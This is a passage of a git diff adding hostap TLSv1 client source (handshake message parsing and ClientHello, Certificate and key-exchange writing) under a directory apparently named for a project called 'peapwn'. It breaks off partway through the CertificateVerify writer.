wpa_hexdump(MSG_DEBUG, "TLSv1: DH p (prime)", + conn->dh_p, conn->dh_p_len); + + if (end - pos < 3) + goto fail; + conn->dh_g_len = WPA_GET_BE16(pos); + pos += 2; + if (conn->dh_g_len == 0 || end - pos < (int) conn->dh_g_len) + goto fail; + conn->dh_g = os_malloc(conn->dh_g_len); + if (conn->dh_g == NULL) + goto fail; + os_memcpy(conn->dh_g, pos, conn->dh_g_len); + pos += conn->dh_g_len; + wpa_hexdump(MSG_DEBUG, "TLSv1: DH g (generator)", + conn->dh_g, conn->dh_g_len); + if (conn->dh_g_len == 1 && conn->dh_g[0] < 2) + goto fail; + + if (end - pos < 3) + goto fail; + conn->dh_ys_len = WPA_GET_BE16(pos); + pos += 2; + if (conn->dh_ys_len == 0 || end - pos < (int) conn->dh_ys_len) + goto fail; + conn->dh_ys = os_malloc(conn->dh_ys_len); + if (conn->dh_ys == NULL) + goto fail; + os_memcpy(conn->dh_ys, pos, conn->dh_ys_len); + pos += conn->dh_ys_len; + wpa_hexdump(MSG_DEBUG, "TLSv1: DH Ys (server's public value)", + conn->dh_ys, conn->dh_ys_len); + + return 0; + +fail: + wpa_printf(MSG_DEBUG, "TLSv1: Processing DH params failed"); + tlsv1_client_free_dh(conn); + return -1; +} + + +static int tls_process_server_key_exchange(struct tlsv1_client *conn, u8 ct, + const u8 *in_data, size_t *in_len) +{ + const u8 *pos, *end; + size_t left, len; + u8 type; + const struct tls_cipher_suite *suite; + + if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { + wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " + "received content type 0x%x", ct); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + pos = in_data; + left = *in_len; + + if (left < 4) { + wpa_printf(MSG_DEBUG, "TLSv1: Too short ServerKeyExchange " + "(Left=%lu)", (unsigned long) left); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); + return -1; + } + + type = *pos++; + len = WPA_GET_BE24(pos); + pos += 3; + left -= 4; + + if (len > left) { + wpa_printf(MSG_DEBUG, "TLSv1: Mismatch in ServerKeyExchange " + "length (len=%lu != left=%lu)", + (unsigned long) len, (unsigned long) left); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); + return -1; + } + + end = pos + len; + + if (type == TLS_HANDSHAKE_TYPE_CERTIFICATE_REQUEST) + return tls_process_certificate_request(conn, ct, in_data, + in_len); + if (type == TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE) + return tls_process_server_hello_done(conn, ct, in_data, + in_len); + if (type != TLS_HANDSHAKE_TYPE_SERVER_KEY_EXCHANGE) { + wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " + "message %d (expected ServerKeyExchange/" + "CertificateRequest/ServerHelloDone)", type); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + wpa_printf(MSG_DEBUG, "TLSv1: Received ServerKeyExchange"); + + if (!tls_server_key_exchange_allowed(conn->rl.cipher_suite)) { + wpa_printf(MSG_DEBUG, "TLSv1: ServerKeyExchange not allowed " + "with the selected cipher suite"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + wpa_hexdump(MSG_DEBUG, "TLSv1: ServerKeyExchange", pos, len); + suite = tls_get_cipher_suite(conn->rl.cipher_suite); + if (suite && suite->key_exchange == TLS_KEY_X_DH_anon) { + if (tlsv1_process_diffie_hellman(conn, pos, len) < 0) { + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; + } + } else { + wpa_printf(MSG_DEBUG, "TLSv1: UnexpectedServerKeyExchange"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + *in_len = end - in_data; + + conn->state = SERVER_CERTIFICATE_REQUEST; + + return 0; +} + + +static int tls_process_certificate_request(struct tlsv1_client *conn, u8 ct, + const u8 *in_data, size_t *in_len) +{ + const u8 *pos, *end; + size_t left, len; + u8 type; + + if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { + wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " + "received content type 0x%x", ct); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + pos = in_data; + left = *in_len; + + if (left < 4) { + wpa_printf(MSG_DEBUG, "TLSv1: Too short CertificateRequest " + "(left=%lu)", (unsigned long) left); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); + return -1; + } + + type = *pos++; + len = WPA_GET_BE24(pos); + pos += 3; + left -= 4; + + if (len > left) { + wpa_printf(MSG_DEBUG, "TLSv1: Mismatch in CertificateRequest " + "length (len=%lu != left=%lu)", + (unsigned long) len, (unsigned long) left); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); + return -1; + } + + end = pos + len; + + if (type == TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE) + return tls_process_server_hello_done(conn, ct, in_data, + in_len); + if (type != TLS_HANDSHAKE_TYPE_CERTIFICATE_REQUEST) { + wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " + "message %d (expected CertificateRequest/" + "ServerHelloDone)", type); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + wpa_printf(MSG_DEBUG, "TLSv1: Received CertificateRequest"); + + conn->certificate_requested = 1; + + *in_len = end - in_data; + + conn->state = SERVER_HELLO_DONE; + + return 0; +} + + +static int tls_process_server_hello_done(struct tlsv1_client *conn, u8 ct, + const u8 *in_data, size_t *in_len) +{ + const u8 *pos, *end; + size_t left, len; + u8 type; + + if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { + wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " + "received content type 0x%x", ct); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + pos = in_data; + left = *in_len; + + if (left < 4) { + wpa_printf(MSG_DEBUG, "TLSv1: Too short ServerHelloDone " + "(left=%lu)", (unsigned long) left); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); + return -1; + } + + type = *pos++; + len = WPA_GET_BE24(pos); + pos += 3; + left -= 4; + + if (len > left) { + wpa_printf(MSG_DEBUG, "TLSv1: Mismatch in ServerHelloDone " + "length (len=%lu != left=%lu)", + (unsigned long) len, (unsigned long) left); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); + return -1; + } + end = pos + len; + + if (type != TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE) { + wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " + "message %d (expected ServerHelloDone)", type); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + wpa_printf(MSG_DEBUG, "TLSv1: Received ServerHelloDone"); + + *in_len = end - in_data; + + conn->state = CLIENT_KEY_EXCHANGE; + + return 0; +} + + +static int tls_process_server_change_cipher_spec(struct tlsv1_client *conn, + u8 ct, const u8 *in_data, + size_t *in_len) +{ + const u8 *pos; + size_t left; + + if (ct != TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC) { + wpa_printf(MSG_DEBUG, "TLSv1: Expected ChangeCipherSpec; " + "received content type 0x%x", ct); + if (conn->use_session_ticket) { + int res; + wpa_printf(MSG_DEBUG, "TLSv1: Server may have " + "rejected SessionTicket"); + conn->use_session_ticket = 0; + + /* Notify upper layers that SessionTicket failed */ + res = conn->session_ticket_cb( + conn->session_ticket_cb_ctx, NULL, 0, NULL, + NULL, NULL); + if (res < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: SessionTicket " + "callback indicated failure"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_HANDSHAKE_FAILURE); + return -1; + } + + conn->state = SERVER_CERTIFICATE; + return tls_process_certificate(conn, ct, in_data, + in_len); + } + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + pos = in_data; + left = *in_len; + + if (left < 1) { + wpa_printf(MSG_DEBUG, "TLSv1: Too short ChangeCipherSpec"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); + return -1; + } + + if (*pos != TLS_CHANGE_CIPHER_SPEC) { + wpa_printf(MSG_DEBUG, "TLSv1: Expected ChangeCipherSpec; " + "received data 0x%x", *pos); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + wpa_printf(MSG_DEBUG, "TLSv1: Received ChangeCipherSpec"); + if (tlsv1_record_change_read_cipher(&conn->rl) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to change read cipher " + "for record layer"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + + *in_len = pos + 1 - in_data; + + conn->state = SERVER_FINISHED; + + return 0; +} + + +static int tls_process_server_finished(struct tlsv1_client *conn, u8 ct, + const u8 *in_data, size_t *in_len) +{ + const u8 *pos, *end; + size_t left, len, hlen; + u8 verify_data[TLS_VERIFY_DATA_LEN]; + u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN]; + + if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { + wpa_printf(MSG_DEBUG, "TLSv1: Expected Finished; " + "received content type 0x%x", ct); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + pos = in_data; + left = *in_len; + + if (left < 4) { + wpa_printf(MSG_DEBUG, "TLSv1: Too short record (left=%lu) for " + "Finished", + (unsigned long) left); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; + } + + if (pos[0] != TLS_HANDSHAKE_TYPE_FINISHED) { + wpa_printf(MSG_DEBUG, "TLSv1: Expected Finished; received " + "type 0x%x", pos[0]); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + len = WPA_GET_BE24(pos + 1); + + pos += 4; + left -= 4; + + if (len > left) { + wpa_printf(MSG_DEBUG, "TLSv1: Too short buffer for Finished " + "(len=%lu > left=%lu)", + (unsigned long) len, (unsigned long) left); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; + } + end = pos + len; + if (len != TLS_VERIFY_DATA_LEN) { + wpa_printf(MSG_DEBUG, "TLSv1: Unexpected verify_data length " + "in Finished: %lu (expected %d)", + (unsigned long) len, TLS_VERIFY_DATA_LEN); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; + } + wpa_hexdump(MSG_MSGDUMP, "TLSv1: verify_data in Finished", + pos, TLS_VERIFY_DATA_LEN); + +#ifdef CONFIG_TLSV12 + if (conn->rl.tls_version >= TLS_VERSION_1_2) { + hlen = SHA256_MAC_LEN; + if (conn->verify.sha256_server == NULL || + crypto_hash_finish(conn->verify.sha256_server, hash, &hlen) + < 0) { + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + conn->verify.sha256_server = NULL; + return -1; + } + conn->verify.sha256_server = NULL; + } else { +#endif /* CONFIG_TLSV12 */ + + hlen = MD5_MAC_LEN; + if (conn->verify.md5_server == NULL || + crypto_hash_finish(conn->verify.md5_server, hash, &hlen) < 0) { + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + conn->verify.md5_server = NULL; + crypto_hash_finish(conn->verify.sha1_server, NULL, NULL); + conn->verify.sha1_server = NULL; + return -1; + } + conn->verify.md5_server = NULL; + hlen = SHA1_MAC_LEN; + if (conn->verify.sha1_server == NULL || + crypto_hash_finish(conn->verify.sha1_server, hash + MD5_MAC_LEN, + &hlen) < 0) { + conn->verify.sha1_server = NULL; + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + conn->verify.sha1_server = NULL; + hlen = MD5_MAC_LEN + SHA1_MAC_LEN; + +#ifdef CONFIG_TLSV12 + } +#endif /* CONFIG_TLSV12 */ + + if (tls_prf(conn->rl.tls_version, + conn->master_secret, TLS_MASTER_SECRET_LEN, + "server finished", hash, hlen, + verify_data, TLS_VERIFY_DATA_LEN)) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive verify_data"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECRYPT_ERROR); + return -1; + } + wpa_hexdump_key(MSG_DEBUG, "TLSv1: verify_data (server)", + verify_data, TLS_VERIFY_DATA_LEN); + + if (os_memcmp(pos, verify_data, TLS_VERIFY_DATA_LEN) != 0) { + wpa_printf(MSG_INFO, "TLSv1: Mismatch in verify_data"); + return -1; + } + + wpa_printf(MSG_DEBUG, "TLSv1: Received Finished"); + + *in_len = end - in_data; + + conn->state = (conn->session_resumed || conn->use_session_ticket) ? + CHANGE_CIPHER_SPEC : ACK_FINISHED; + + return 0; +} + + +static int tls_process_application_data(struct tlsv1_client *conn, u8 ct, + const u8 *in_data, size_t *in_len, + u8 **out_data, size_t *out_len) +{ + const u8 *pos; + size_t left; + + if (ct != TLS_CONTENT_TYPE_APPLICATION_DATA) { + wpa_printf(MSG_DEBUG, "TLSv1: Expected Application Data; " + "received content type 0x%x", ct); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + pos = in_data; + left = *in_len; + + wpa_hexdump(MSG_DEBUG, "TLSv1: Application Data included in Handshake", + pos, left); + + *out_data = os_malloc(left); + if (*out_data) { + os_memcpy(*out_data, pos, left); + *out_len = left; + } + + return 0; +} + + +int tlsv1_client_process_handshake(struct tlsv1_client *conn, u8 ct, + const u8 *buf, size_t *len, + u8 **out_data, size_t *out_len) +{ + if (ct == TLS_CONTENT_TYPE_ALERT) { + if (*len < 2) { + wpa_printf(MSG_DEBUG, "TLSv1: Alert underflow"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; + } + wpa_printf(MSG_DEBUG, "TLSv1: Received alert %d:%d", + buf[0], buf[1]); + *len = 2; + conn->state = FAILED; + return -1; + } + + if (ct == TLS_CONTENT_TYPE_HANDSHAKE && *len >= 4 && + buf[0] == TLS_HANDSHAKE_TYPE_HELLO_REQUEST) { + size_t hr_len = WPA_GET_BE24(buf + 1); + if (hr_len > *len - 4) { + wpa_printf(MSG_DEBUG, "TLSv1: HelloRequest underflow"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; + } + wpa_printf(MSG_DEBUG, "TLSv1: Ignored HelloRequest"); + *len = 4 + hr_len; + return 0; + } + + switch (conn->state) { + case SERVER_HELLO: + if (tls_process_server_hello(conn, ct, buf, len)) + return -1; + break; + case SERVER_CERTIFICATE: + if (tls_process_certificate(conn, ct, buf, len)) + return -1; + break; + case SERVER_KEY_EXCHANGE: + if (tls_process_server_key_exchange(conn, ct, buf, len)) + return -1; + break; + case SERVER_CERTIFICATE_REQUEST: + if (tls_process_certificate_request(conn, ct, buf, len)) + return -1; + break; + case SERVER_HELLO_DONE: + if (tls_process_server_hello_done(conn, ct, buf, len)) + return -1; + break; + case SERVER_CHANGE_CIPHER_SPEC: + if (tls_process_server_change_cipher_spec(conn, ct, buf, len)) + return -1; + break; + case SERVER_FINISHED: + if (tls_process_server_finished(conn, ct, buf, len)) + return -1; + break; + case ACK_FINISHED: + if (out_data && + tls_process_application_data(conn, ct, buf, len, out_data, + out_len)) + return -1; + break; + default: + wpa_printf(MSG_DEBUG, "TLSv1: Unexpected state %d " + "while processing received message", + conn->state); + return -1; + } + + if (ct == TLS_CONTENT_TYPE_HANDSHAKE) + tls_verify_hash_add(&conn->verify, buf, *len); + + return 0; +} diff --git a/peapwn/mods/hostap/src/tls/tlsv1_client_write.c b/peapwn/mods/hostap/src/tls/tlsv1_client_write.c new file mode 100644 index 000000000..d789efb42 --- /dev/null +++ b/peapwn/mods/hostap/src/tls/tlsv1_client_write.c @@ -0,0 +1,866 @@ +/* + * TLSv1 client - write handshake message + * Copyright (c) 2006-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/md5.h" +#include "crypto/sha1.h" +#include "crypto/sha256.h" +#include "crypto/tls.h" +#include "crypto/random.h" +#include "x509v3.h" +#include "tlsv1_common.h" +#include "tlsv1_record.h" +#include "tlsv1_client.h" +#include "tlsv1_client_i.h" + + +static size_t tls_client_cert_chain_der_len(struct tlsv1_client *conn) +{ + size_t len = 0; + struct x509_certificate *cert; + + if (conn->cred == NULL) + return 0; + + cert = conn->cred->cert; + while (cert) { + len += 3 + cert->cert_len; + if (x509_certificate_self_signed(cert)) + break; + cert = x509_certificate_get_subject(conn->cred->trusted_certs, + &cert->issuer); + } + + return len; +} + + +u8 * tls_send_client_hello(struct tlsv1_client *conn, size_t *out_len) +{ + u8 *hello, *end, *pos, *hs_length, *hs_start, *rhdr; + struct os_time now; + size_t len, i; + + wpa_printf(MSG_DEBUG, "TLSv1: Send ClientHello"); + *out_len = 0; + + os_get_time(&now); + WPA_PUT_BE32(conn->client_random, now.sec); + if (random_get_bytes(conn->client_random + 4, TLS_RANDOM_LEN - 4)) { + wpa_printf(MSG_ERROR, "TLSv1: Could not generate " + "client_random"); + return NULL; + } + wpa_hexdump(MSG_MSGDUMP, "TLSv1: client_random", + conn->client_random, TLS_RANDOM_LEN); + + len = 100 + conn->num_cipher_suites * 2 + conn->client_hello_ext_len; + hello = os_malloc(len); + if (hello == NULL) + return NULL; + end = hello + len; + + rhdr = hello; + pos = rhdr + TLS_RECORD_HEADER_LEN; + + /* opaque fragment[TLSPlaintext.length] */ + + /* Handshake */ + hs_start = pos; + /* HandshakeType msg_type */ + *pos++ = TLS_HANDSHAKE_TYPE_CLIENT_HELLO; + /* uint24 length (to be filled) */ + hs_length = pos; + pos += 3; + /* body - ClientHello */ + /* ProtocolVersion client_version */ + WPA_PUT_BE16(pos, TLS_VERSION); + pos += 2; + /* Random random: uint32 gmt_unix_time, opaque random_bytes */ + os_memcpy(pos, conn->client_random, TLS_RANDOM_LEN); + pos += TLS_RANDOM_LEN; + /* SessionID session_id */ + *pos++ = conn->session_id_len; + os_memcpy(pos, conn->session_id, conn->session_id_len); + pos += conn->session_id_len; + /* CipherSuite cipher_suites<2..2^16-1> */ + WPA_PUT_BE16(pos, 2 * conn->num_cipher_suites); + pos += 2; + for (i = 0; i < conn->num_cipher_suites; i++) { + WPA_PUT_BE16(pos, conn->cipher_suites[i]); + pos += 2; + } + /* CompressionMethod compression_methods<1..2^8-1> */ + *pos++ = 1; + *pos++ = TLS_COMPRESSION_NULL; + + if (conn->client_hello_ext) { + os_memcpy(pos, conn->client_hello_ext, + conn->client_hello_ext_len); + pos += conn->client_hello_ext_len; + } + + WPA_PUT_BE24(hs_length, pos - hs_length - 3); + tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); + + if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, + rhdr, end - rhdr, hs_start, pos - hs_start, + out_len) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to create TLS record"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + os_free(hello); + return NULL; + } + + conn->state = SERVER_HELLO; + + return hello; +} + + +static int tls_write_client_certificate(struct tlsv1_client *conn, + u8 **msgpos, u8 *end) +{ + u8 *pos, *rhdr, *hs_start, *hs_length, *cert_start; + size_t rlen; + struct x509_certificate *cert; + + pos = *msgpos; + + wpa_printf(MSG_DEBUG, "TLSv1: Send Certificate"); + rhdr = pos; + pos += TLS_RECORD_HEADER_LEN; + + /* opaque fragment[TLSPlaintext.length] */ + + /* Handshake */ + hs_start = pos; + /* HandshakeType msg_type */ + *pos++ = TLS_HANDSHAKE_TYPE_CERTIFICATE; + /* uint24 length (to be filled) */ + hs_length = pos; + pos += 3; + /* body - Certificate */ + /* uint24 length (to be filled) */ + cert_start = pos; + pos += 3; + cert = conn->cred ? conn->cred->cert : NULL; + while (cert) { + if (pos + 3 + cert->cert_len > end) { + wpa_printf(MSG_DEBUG, "TLSv1: Not enough buffer space " + "for Certificate (cert_len=%lu left=%lu)", + (unsigned long) cert->cert_len, + (unsigned long) (end - pos)); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + WPA_PUT_BE24(pos, cert->cert_len); + pos += 3; + os_memcpy(pos, cert->cert_start, cert->cert_len); + pos += cert->cert_len; + + if (x509_certificate_self_signed(cert)) + break; + cert = x509_certificate_get_subject(conn->cred->trusted_certs, + &cert->issuer); + } + if (conn->cred == NULL || cert == conn->cred->cert || cert == NULL) { + /* + * Client was not configured with all the needed certificates + * to form a full certificate chain. The server may fail to + * validate the chain unless it is configured with all the + * missing CA certificates. + */ + wpa_printf(MSG_DEBUG, "TLSv1: Full client certificate chain " + "not configured - validation may fail"); + } + WPA_PUT_BE24(cert_start, pos - cert_start - 3); + + WPA_PUT_BE24(hs_length, pos - hs_length - 3); + + if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, + rhdr, end - rhdr, hs_start, pos - hs_start, + &rlen) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + pos = rhdr + rlen; + + tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); + + *msgpos = pos; + + return 0; +} + + +static int tlsv1_key_x_anon_dh(struct tlsv1_client *conn, u8 **pos, u8 *end) +{ + /* ClientDiffieHellmanPublic */ + u8 *csecret, *csecret_start, *dh_yc, *shared; + size_t csecret_len, dh_yc_len, shared_len; + + csecret_len = conn->dh_p_len; + csecret = os_malloc(csecret_len); + if (csecret == NULL) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to allocate " + "memory for Yc (Diffie-Hellman)"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + if (random_get_bytes(csecret, csecret_len)) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to get random " + "data for Diffie-Hellman"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + os_free(csecret); + return -1; + } + + if (os_memcmp(csecret, conn->dh_p, csecret_len) > 0) + csecret[0] = 0; /* make sure Yc < p */ + + csecret_start = csecret; + while (csecret_len > 1 && *csecret_start == 0) { + csecret_start++; + csecret_len--; + } + wpa_hexdump_key(MSG_DEBUG, "TLSv1: DH client's secret value", + csecret_start, csecret_len); + + /* Yc = g^csecret mod p */ + dh_yc_len = conn->dh_p_len; + dh_yc = os_malloc(dh_yc_len); + if (dh_yc == NULL) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to allocate " + "memory for Diffie-Hellman"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + os_free(csecret); + return -1; + } + if (crypto_mod_exp(conn->dh_g, conn->dh_g_len, + csecret_start, csecret_len, + conn->dh_p, conn->dh_p_len, + dh_yc, &dh_yc_len)) { + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + os_free(csecret); + os_free(dh_yc); + return -1; + } + + wpa_hexdump(MSG_DEBUG, "TLSv1: DH Yc (client's public value)", + dh_yc, dh_yc_len); + + WPA_PUT_BE16(*pos, dh_yc_len); + *pos += 2; + if (*pos + dh_yc_len > end) { + wpa_printf(MSG_DEBUG, "TLSv1: Not enough room in the " + "message buffer for Yc"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + os_free(csecret); + os_free(dh_yc); + return -1; + } + os_memcpy(*pos, dh_yc, dh_yc_len); + *pos += dh_yc_len; + os_free(dh_yc); + + shared_len = conn->dh_p_len; + shared = os_malloc(shared_len); + if (shared == NULL) { + wpa_printf(MSG_DEBUG, "TLSv1: Could not allocate memory for " + "DH"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + os_free(csecret); + return -1; + } + + /* shared = Ys^csecret mod p */ + if (crypto_mod_exp(conn->dh_ys, conn->dh_ys_len, + csecret_start, csecret_len, + conn->dh_p, conn->dh_p_len, + shared, &shared_len)) { + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + os_free(csecret); + os_free(shared); + return -1; + } + wpa_hexdump_key(MSG_DEBUG, "TLSv1: Shared secret from DH key exchange", + shared, shared_len); + + os_memset(csecret_start, 0, csecret_len); + os_free(csecret); + if (tls_derive_keys(conn, shared, shared_len)) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive keys"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + os_free(shared); + return -1; + } + os_memset(shared, 0, shared_len); + os_free(shared); + tlsv1_client_free_dh(conn); + return 0; +} + + +static int tlsv1_key_x_rsa(struct tlsv1_client *conn, u8 **pos, u8 *end) +{ + u8 pre_master_secret[TLS_PRE_MASTER_SECRET_LEN]; + size_t clen; + int res; + + if (tls_derive_pre_master_secret(pre_master_secret) < 0 || + tls_derive_keys(conn, pre_master_secret, + TLS_PRE_MASTER_SECRET_LEN)) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive keys"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + + /* EncryptedPreMasterSecret */ + if (conn->server_rsa_key == NULL) { + wpa_printf(MSG_DEBUG, "TLSv1: No server RSA key to " + "use for encrypting pre-master secret"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + + /* RSA encrypted value is encoded with PKCS #1 v1.5 block type 2. */ + *pos += 2; + clen = end - *pos; + res = crypto_public_key_encrypt_pkcs1_v15( + conn->server_rsa_key, + pre_master_secret, TLS_PRE_MASTER_SECRET_LEN, + *pos, &clen); + os_memset(pre_master_secret, 0, TLS_PRE_MASTER_SECRET_LEN); + if (res < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: RSA encryption failed"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + WPA_PUT_BE16(*pos - 2, clen); + wpa_hexdump(MSG_MSGDUMP, "TLSv1: Encrypted pre_master_secret", + *pos, clen); + *pos += clen; + + return 0; +} + + +static int tls_write_client_key_exchange(struct tlsv1_client *conn, + u8 **msgpos, u8 *end) +{ + u8 *pos, *rhdr, *hs_start, *hs_length; + size_t rlen; + tls_key_exchange keyx; + const struct tls_cipher_suite *suite; + + suite = tls_get_cipher_suite(conn->rl.cipher_suite); + if (suite == NULL) + keyx = TLS_KEY_X_NULL; + else + keyx = suite->key_exchange; + + pos = *msgpos; + + wpa_printf(MSG_DEBUG, "TLSv1: Send ClientKeyExchange"); + + rhdr = pos; + pos += TLS_RECORD_HEADER_LEN; + + /* opaque fragment[TLSPlaintext.length] */ + + /* Handshake */ + hs_start = pos; + /* HandshakeType msg_type */ + *pos++ = TLS_HANDSHAKE_TYPE_CLIENT_KEY_EXCHANGE; + /* uint24 length (to be filled) */ + hs_length = pos; + pos += 3; + /* body - ClientKeyExchange */ + if (keyx == TLS_KEY_X_DH_anon) { + if (tlsv1_key_x_anon_dh(conn, &pos, end) < 0) + return -1; + } else { + if (tlsv1_key_x_rsa(conn, &pos, end) < 0) + return -1; + } + + WPA_PUT_BE24(hs_length, pos - hs_length - 3); + + if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, + rhdr, end - rhdr, hs_start, pos - hs_start, + &rlen) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + pos = rhdr + rlen; + tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); + + *msgpos = pos; + + return 0; +} + + +static int tls_write_client_certificate_verify(struct tlsv1_client *conn, + u8 **msgpos, u8 *end) +{ + u8 *pos, *rhdr, *hs_start, *hs_length, *signed_start; + size_t rlen, hlen, clen; + u8 hash[100], *hpos; + enum { SIGN_ALG_RSA, SIGN_ALG_DSA } alg = SIGN_ALG_RSA; + + pos = *msgpos; + + wpa_printf(MSG_DEBUG, "TLSv1: Send CertificateVerify"); + rhdr = pos; + pos += TLS_RECORD_HEADER_LEN; + + /* Handshake */ + hs_start = pos; + /* HandshakeType msg_type */ + *pos++ = TLS_HANDSHAKE_TYPE_CERTIFICATE_VERIFY; + /* uint24 length (to be filled) */ + hs_length = pos; + pos += 3; + + /* + 